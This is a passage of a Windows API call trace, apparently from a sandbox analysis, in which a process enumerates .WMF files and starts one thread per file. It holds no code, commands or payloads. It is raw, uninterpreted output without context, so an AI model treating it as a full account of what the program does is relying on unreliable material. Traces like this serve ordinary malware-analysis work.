	[0277.509] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00913_.WMF", cAlternateFileName="")) returned 1
	[0277.509] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.510] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25e0
	[0277.511] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.512] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b0c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00914_.WMF", cAlternateFileName="")) returned 1
	[0277.512] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26ac
	[0277.513] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.514] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bf8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00915_.WMF", cAlternateFileName="")) returned 1
	[0277.514] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc71b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26a8
	[0277.516] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.516] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1270, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00916_.WMF", cAlternateFileName="")) returned 1
	[0277.516] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc751f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26a4
	[0277.518] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.518] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25ac, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00917_.WMF", cAlternateFileName="")) returned 1
	[0277.519] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc788d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26b0
	[0277.520] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.521] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f5c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00918_.WMF", cAlternateFileName="")) returned 1
	[0277.521] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26a0
	[0277.522] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.523] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2944, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00935_.WMF", cAlternateFileName="")) returned 1
	[0277.523] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7f690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26b8
	[0277.525] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.526] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1960, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00938_.WMF", cAlternateFileName="")) returned 1
	[0277.526] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc82d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26f8
	[0277.528] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.528] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1708, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00941_.WMF", cAlternateFileName="")) returned 1
	[0277.529] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc86450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26b4
	[0277.531] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.531] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00942_.WMF", cAlternateFileName="")) returned 1
	[0277.531] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc89b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26fc
	[0277.694] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.695] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d84, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00943_.WMF", cAlternateFileName="")) returned 1
	[0277.696] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2700
	[0277.697] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.698] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5505900, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5505900, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0xae1a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01044_.WMF", cAlternateFileName="")) returned 1
	[0277.698] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2704
	[0277.700] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.700] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98336a00, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98336a00, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x5b38, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01063_.WMF", cAlternateFileName="")) returned 1
	[0277.700] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.701] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2708
	[0277.702] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.703] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1075e, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01236_.WMF", cAlternateFileName="")) returned 1
	[0277.703] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270c
	[0277.704] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.705] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e49c00, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8e49c00, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x43b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01560_.WMF", cAlternateFileName="")) returned 1
	[0277.705] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2710
	[0277.707] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.707] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b10300, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2b10300, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x59d8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01561_.WMF", cAlternateFileName="")) returned 1
	[0277.707] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2714
	[0277.709] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.710] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc04ea900, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc04ea900, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x75ca, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01563_.WMF", cAlternateFileName="")) returned 1
	[0277.710] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2718
	[0277.712] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.712] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbb2200, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcbb2200, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x51a8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01566_.WMF", cAlternateFileName="")) returned 1
	[0277.712] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x271c
	[0277.714] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.714] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebb7200, ftCreationTime.dwHighDateTime=0x1bd4b0f, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb7200, ftLastWriteTime.dwHighDateTime=0x1bd4b0f, nFileSizeHigh=0x0, nFileSizeLow=0x54b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01568_.WMF", cAlternateFileName="")) returned 1
	[0277.714] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc8d210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2720
	[0277.716] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.717] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb57400, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcb57400, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01569_.WMF", cAlternateFileName="")) returned 1
	[0277.717] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc908f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2724
	[0277.719] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.719] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd5f9e00, ftCreationTime.dwHighDateTime=0x1bd4adf, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd5f9e00, ftLastWriteTime.dwHighDateTime=0x1bd4adf, nFileSizeHigh=0x0, nFileSizeLow=0xa8a6, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01575_.WMF", cAlternateFileName="")) returned 1
	[0277.719] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc93fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2728
	[0277.721] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.721] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd892e800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd892e800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x2566, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01777_.WMF", cAlternateFileName="")) returned 1
	[0277.721] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc976b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x272c
	[0277.723] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.724] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6ca8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01785_.WMF", cAlternateFileName="")) returned 1
	[0277.724] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc9ad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2730
	[0277.726] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.726] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8632900, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8632900, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x1088, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01805_.WMF", cAlternateFileName="")) returned 1
	[0277.726] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc9e470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2734
	[0277.805] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.806] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32d8d00, ftCreationTime.dwHighDateTime=0x1bd4af8, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32d8d00, ftLastWriteTime.dwHighDateTime=0x1bd4af8, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01905_.WMF", cAlternateFileName="")) returned 1
	[0277.806] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2738
	[0277.808] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.809] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3086, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01954_.WMF", cAlternateFileName="")) returned 1
	[0277.809] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x273c
	[0277.811] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.811] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d14, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02009_.WMF", cAlternateFileName="")) returned 1
	[0277.812] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca1b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2740
